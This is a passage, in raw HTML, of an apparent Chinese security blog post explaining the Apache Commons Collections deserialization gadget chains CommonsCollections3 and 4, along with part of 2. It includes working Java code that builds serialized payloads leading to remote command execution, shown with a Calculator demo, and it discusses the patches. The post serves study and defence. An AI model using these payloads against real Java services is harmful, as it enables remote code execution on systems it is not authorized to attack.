Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5036927621861153" data-s="300,640" style="" data-type="png" data-w="677" src="https://wechat2rss.xlab.app/img-proxy/?k=7a5a7565&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMGyeIiarLDQKcyExNgdzuZljlOeMEHD7y8ll2niclKc3TEMSuWj1Xcj1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">反序列化时候调用</span><span style="font-family: Verdana;">PriorityQueue</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">readObject</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，并在函数最后调用</span><span style="font-family: Verdana;">heapify</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.42584434654919234" data-s="300,640" style="" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=e5a9c38d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMCrvPx3kHPPt6QlmYDQzSNj5GreF0ek2fzIboGX87pY3DSXtE6pHyCg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-family:Verdana;font-size:14px;">heapify</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">方法会把</span><span style="font-family:Verdana;font-size:14px;">PriorityQueue</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family:Verdana;font-size:14px;">queue</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">变量作为参数去调用</span><span style="font-family:Verdana;font-size:14px;">siftDown</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">方法</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.13196480938416422" data-s="300,640" style="" data-type="png" data-w="682" src="https://wechat2rss.xlab.app/img-proxy/?k=ac73abca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMdhhEKhGQ0kD1FTNqzzaeQ35QHrQX31hzD2Gqatj6c3Aia68icJaYdjQg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">只要有</span><span style="font-family: Verdana;">comparetor</span><span style="font-family: &#34;Droid Sans Fallback&#34;">就会去调用</span><span style="font-family: Verdana;">siftDownUsingComparator</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1903367496339678" data-s="300,640" style="" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2c40e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMUuDia4iaqfVz4fzVT8VnsUDv4f0ibiaMibL62xlt4v1cnic28D3yfKricibIFg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:0;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">调用</span><span style="font-family: Verdana;">comparator</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">compare</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，这个</span><span style="font-family: Verdana;">comparator</span><span style="font-family: &#34;Droid Sans Fallback&#34;">就是我们传入的</span><span style="font-family: Verdana;">tranformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">为恶意</span><span style="font-family: Verdana;">InvokerTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="font-family: Verdana;text-align: justify;">TransformingComparator</span></span><span style="font-family: Verdana;font-size: 14px;text-align: justify;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3854014598540146" data-s="300,640" style="" data-type="png" data-w="685" src="https://wechat2rss.xlab.app/img-proxy/?k=b45320ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMNceTUocPa8bo4HN2fV57LNEUZwnrCLibymMdBxEBZlE4uzqicAjGcb8g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Verdana;font-size:11px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">成功调用到恶意</span><span style="font-family: Verdana;">tranformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">tranform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，并把恶意</span><span style="font-family: Verdana;">TemplatesImpl</span><span style="font-family: &#34;Droid Sans Fallback&#34;">作为参数传入，剩下的不在去跟。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.09347181008902077" data-s="300,640" style="" data-type="png" data-w="674" src="https://wechat2rss.xlab.app/img-proxy/?k=abbec164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMFBkQxiaDRlzIy6VCbDgRIGZTBDNwicLAqGmTGUyibEDkJBweZhNvbYiaBg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p><span style="font-size: 14px;"><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">关于</span><span style="text-align: left;font-family: Verdana;">4.0</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的补丁，和</span><span style="text-align: left;font-family: Verdana;">3.2.2</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的时候一模一样，就是把</span><span style="text-align: left;font-family: Verdana;">InvokerTransformer</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">给拉黑了。</span></span><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;"><span style="font-size:8px;"> </span></p><h2><span style="font-family: Verdana;font-size: 17px;">CommonsCollections3</span><span style="font-family:Verdana;font-size:16px;"></span></h2><p style="margin-top:0;"><span style="font-family: Verdana;font-size: 14px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-size: 14px;font-family: Verdana;">3.1-3.2.1</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-size: 14px;font-family: Verdana;">jdk7u21</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">及以前</span></span></p><p style="margin-top:13px;margin-right:13px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections3</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">出现了一个我们在</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections1</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">中没怎么见到过的</span><span style="font-size: 14px;font-family: Verdana;">InstantiateTransformer</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，先去看一下这个</span><span style="font-size: 14px;font-family: Verdana;">InstantiateTransformer</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-size: 14px;font-family: Verdana;">transform</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:292px;margin-left:91px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> transform(<span class="code-snippet__built_in">Object</span> input) { <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (!(input <span class="code-snippet__keyword">instanceof</span> Class)) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> FunctorException(<span class="code-snippet__string">&#34;InstantiateTransformer: Input object was not an instanceof Class, it was a &#34;</span> + (input == <span class="code-snippet__literal">null</span> ? <span class="code-snippet__string">&#34;null object&#34;</span> : input.getClass().getName()));</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">Constructor con = ((Class)input).getConstructor(<span class="code-snippet__keyword">this</span>.iParamTypes);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> con.newInstance(<span class="code-snippet__keyword">this</span>.iAr</span></code><code><span class="code-snippet_outer">             }</span></code><code><span class="code-snippet_outer">          }</span></code></pre></section><p style="margin-top:0;margin-right:292px;margin-left:91px;text-align:left;line-height:116%;"><span style="color:rgb(77,77,75);font-size:14px;"></span></p><p style="margin-top:4px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">简单来说这个</span><span style="font-family: Verdana;">transform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法的用处就是调用</span><span style="font-family: Verdana;">input</span><span style="font-family: &#34;Droid Sans Fallback&#34;">参数的构造函数，并且这个类的两个成员变量就是传给构造函数的参数类型和参数值。其他的地方就和</span><span style="font-family: Verdana;">CommonsCollections1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">差不多了。</span></span></p><p style="margin-top:4px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style=""><br/></span></p><p style="margin-top:4px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">看一下代码，考虑到代码中用到的一些关键函数在前面两个</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">里面已经给出了，所以接下来的代码里面我就只给出</span><span style="font-size: 14px;font-family: Verdana;">main</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">函数代码了。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span><br/></p><p style="margin-right:139px;margin-left:98px;line-height:116%;"><span style="color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">public <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception { <span class="code-snippet__built_in">String</span> command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; <span class="code-snippet__built_in">Object</span> templatesImpl = createTemplatesImpl(command);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final Transformer transformerChain = <span class="code-snippet__keyword">new</span> ChainedTransformer( <span class="code-snippet__keyword">new</span> Transformer[]{ <span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__number">1</span>) });</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final Transformer[] transformers = <span class="code-snippet__keyword">new</span> Transformer[] { <span class="code-snippet__keyword">new</span>  ConstantTransformer(TrAXFilter.class), <span class="code-snippet__keyword">new</span> InstantiateTransformer(</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[] { Templates.class }, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[] { templatesImpl } )};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final <span class="code-snippet__built_in">Map</span> innerMap = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer">final <span class="code-snippet__built_in">Map</span> lazyMap = LazyMap.decorate(innerMap, transformerChain); <span class="code-snippet__built_in">Map</span> mapProxy = (<span class="code-snippet__built_in">Map</span>)</span></code><code><span class="code-snippet_outer">createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), <span class="code-snippet__built_in">Map</span>.class);</span></code><code><span class="code-snippet_outer">InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);</span></code><code><span class="code-snippet_outer" style="">//这样的话，调用transformerChain的tranform方法就相当于调用</span></code><code><span class="code-snippet_outer">TrAXFilter(templatesImpl)</span></code><code><span class="code-snippet_outer">setFieldValue(transformerChain, <span class="code-snippet__string">&#34;iTransformers&#34;</span>, transformers);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(handler);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); <span class="code-snippet__built_in">Object</span> newObj = ois.readObject();</span></code><code><span class="code-snippet_outer">ois.close();</span></code><code><span class="code-snippet_outer">} </span></code></pre></section><p style="margin-right:139px;margin-left:98px;line-height:116%;"><span style="color:rgb(77,77,75);font-size:14px;"></span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">看一下调用栈：</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.45870206489675514" data-s="300,640" style="" data-type="png" data-w="678" src="https://wechat2rss.xlab.app/img-proxy/?k=d09905e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicM0ib0umVrS8IBtvPxCLcpT26zcTbbwk9RbTeLCWPSxcuUTfGvPZ4cNEQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">基本所有地方都和</span><span style="font-family: Verdana;">CommonsCollections1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">差不多，唯一的区别就在于循环调用的</span><span style="font-family: Verdana;">transformers</span><span style="font-family: &#34;Droid Sans Fallback&#34;">变成了这个样子</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:167px;margin-left:159px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Transformer[] transformers = <span class="code-snippet__keyword">new</span> Transformer[] { <span class="code-snippet__keyword">new</span> ConstantTransformer(TrAXFilter.class), <span class="code-snippet__keyword">new</span> InstantiateTransformer(</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> <span class="code-snippet__class"><span class="code-snippet__keyword">Class</span>[] </span>{ Templates.class }, <span class="code-snippet__keyword">new</span>  </span></code></pre></section><p style="margin-top:4px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-family:Verdana;font-size:14px;"></span></p><p style="margin-top:4px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: Verdana;">ConstantTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">返回了</span><span style="font-family: Verdana;">TrAXFilter</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的对象给到</span><span style="font-family: Verdana;">InstantiateTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">tranform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，最终调用</span><span style="font-family: Verdana;">TrAXFilter</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的构造函数，并把恶意的</span><span style="font-family: Verdana;">templatesImpl</span><span style="font-family: &#34;Droid Sans Fallback&#34;">作为参数给到构造函数</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.20353982300884957" data-s="300,640" style="" data-type="png" data-w="678" src="https://wechat2rss.xlab.app/img-proxy/?k=00274b12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMq7cERhvdsDUiaSab0pod3DViakJhsKNPWZpOZ9fRePefGJkhxzET10BQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:10px;"> </span></p><p style="margin-top:0;margin-right:15px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:15px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">看一下</span><span style="font-family: Verdana;">TrAXFilter</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的构造函数会去调用传入的恶意</span><span style="font-family: Verdana;">templatesImpl</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">newTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，正好符合我们的期望，造成</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">。</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">看一下</span><span style="font-size: 14px;font-family: Verdana;">3.2.2</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本的修复补丁，和</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections1</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">一样，就是把</span><span style="font-size: 14px;font-family: Verdana;">InstantiateTransformer</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">类给拉黑了。</span><span style="font-size: 14px;text-align: justify;"> </span></span><span style="font-size: 8px;text-align: justify;"></span></p><p style="margin-top:0;margin-right:15px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><h2><br/></h2><h2><span style="font-family: Verdana;font-size: 17px;">CommonsCollections4</span><span style="font-family:Verdana;font-size:16px;"></span></h2><p><span style="font-family:Verdana;font-size:16px;"><br/></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">4.0</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-family: Verdana;">jdk7u21</span><span style="font-family: &#34;Droid Sans Fallback&#34;">及以前</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections4</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">这个</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">认真的说，完全没有任何新的东西，其实就是把</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections2</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">和</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections3</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">做了一个杂交。不过从中我们可以窥探到，其实不论是</span><span style="font-size: 14px;font-family: Verdana;">4.0</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本还是</span><span style="font-size: 14px;font-family: Verdana;">3.1-3.2.1</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本，利用的方法基本都是可以共通的。</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;">看一下代码：</span><span style=""></span></p><p style="margin-right:139px;margin-left:98px;line-height:116%;"><span style="color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception { <span class="code-snippet__built_in">String</span> command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; <span class="code-snippet__built_in">Object</span> templates = createTemplatesImpl(command);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">ConstantTransformer constant = <span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__built_in">String</span>.class);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">Class[] paramTypes = <span class="code-snippet__keyword">new</span> Class[] { <span class="code-snippet__built_in">String</span>.class }; <span class="code-snippet__built_in">Object</span>[] str = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[] { <span class="code-snippet__string">&#34;foo&#34;</span> };</span></code><code><span class="code-snippet_outer">InstantiateTransformer instantiate = <span class="code-snippet__keyword">new</span> InstantiateTransformer( paramTypes, str);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">paramTypes = (Class[]) getFieldValue(instantiate, <span class="code-snippet__string">&#34;iParamTypes&#34;</span>); str = (<span class="code-snippet__built_in">Object</span>[]) getFieldValue(instantiate, <span class="code-snippet__string">&#34;iArgs&#34;</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">ChainedTransformer chain = <span class="code-snippet__keyword">new</span> ChainedTransformer(<span class="code-snippet__keyword">new</span> Transformer[] { constant, instantiate });</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">PriorityQueue&lt;<span class="code-snippet__built_in">Object</span>&gt; queue = <span class="code-snippet__keyword">new</span> PriorityQueue&lt;<span class="code-snippet__built_in">Object</span>&gt;(<span class="code-snippet__number">2</span>, <span class="code-snippet__keyword">new</span> TransformingComparator(chain));</span></code><code><span class="code-snippet_outer">queue.add(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">queue.add(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">setFieldValue(constant, <span class="code-snippet__string">&#34;iConstant&#34;</span>, TrAXFilter.class); paramTypes[<span class="code-snippet__number">0</span>] = Templates.class;</span></code><code><span class="code-snippet_outer">str[<span class="code-snippet__number">0</span>] = templates;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(queue);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); <span class="code-snippet__built_in">Object</span> newObj = ois.readObject();</span></code><code><span class="code-snippet_outer">ois.close();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code></pre></section><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><br/></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">看一下调用栈：</span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5256975036710719" data-s="300,640" style="" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=b25621c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMxjsX817Nic0zjUFVQu5P5QtsJxFcwvdAjJKFMusqHpLSp64GiaKJaVJQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin-top:0;"><span style="font-size: 14px;"><span style="text-align: left;">代码在上面都是分析过的，简要的文字分析一下：反序列化的时候调用</span><span style="text-align: left;font-family: Verdana;">PriorityQueue</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="text-align: left;font-family: Verdana;">readObject</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">方法，从而调用了</span><span style="text-align: left;font-family: Verdana;">TransformingComparator</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">中恶意的</span><span style="text-align: left;font-family: Verdana;">ChainedTransformer</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="text-align: left;font-family: Verdana;">tranform</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">方法，通过循环调用</span><span style="text-align: left;font-family: Verdana;">ChainedTransformer</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">中</span><span style="text-align: left;font-family: Verdana;">iTransformer</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="text-align: left;font-family: Verdana;">tranform</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">方法，进而调用</span><span style="text-align: left;font-family: Verdana;">TrAXFilter</span><span style="text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的构造方法，从而造成命令执行。</span></span></p><p style="margin-top:0;"><span style="text-align: left;font-size: 14px;"><br/></span></p><p style="margin-top:0;"><span style="font-size: 14px;"><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">不过关于</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">4.1</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">版本的修复和</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">3.2.2</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">是存在不一样的地方的，</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">3.2.2</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">对</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">InstantiateTransformer</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">类的处理是拉入黑名单，而</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">4.1</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">版本选择把</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">InstantiateTransformer</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">类的反序列化接口给删除了。</span></span></p><p style="margin-top:13px;margin-right:23px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" 